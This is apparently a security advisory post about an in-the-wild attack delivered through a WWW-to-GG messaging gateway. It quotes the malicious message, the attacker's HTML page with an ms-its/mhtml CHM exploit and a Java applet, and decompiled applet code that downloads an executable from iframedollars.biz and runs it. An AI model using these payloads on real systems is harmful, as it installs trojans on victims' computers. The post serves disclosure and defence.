Beware, this bug is being already exploited in the wild. I have just received
the following message from WWW to GG gateway (gg# 7021349):

www.po"style=background-image:url(javascript:window.open('http://iframed
ollars.biz/dl/adv407.php','','left=10000'));".pl

The adv407.php file contains the following HTML code:

[html][head]
[/head][body]
[textarea id="cxw" style="display:none;"]
[object data="${PR}" type="text/x-scriptlet"][/object]
[/textarea]

[script language="javascript"]
document.write(cxw.value.replace(/\${PR}/g,'ms-its:mhtml:file://c:\
\nosuch.mht!http://iframedollars.biz/dl/adv407/x.chm::/x.htm'));
[/script]
[applet width=1 height=1 ARCHIVE=loaderadv407.jar
code=Counter][/APPLET][/body][/html]

After downloading and decompiling loaderadv407.jar I noticed, that it does:

URL url1 = new URL("http://iframedollars.biz/dl/loadadv407.exe");
URLConnection urlconnection = url1.openConnection();
[...]
FileOutputStream fileoutputstream = new FileOutputStream(s4 + "\\loadnew.exe");
[...]
as[0] = s4 + "\\loadnew.exe";
Process process = Runtime.getRuntime().exec(as);

Clamav recognizes this binary as Trojan.Qhost.O.
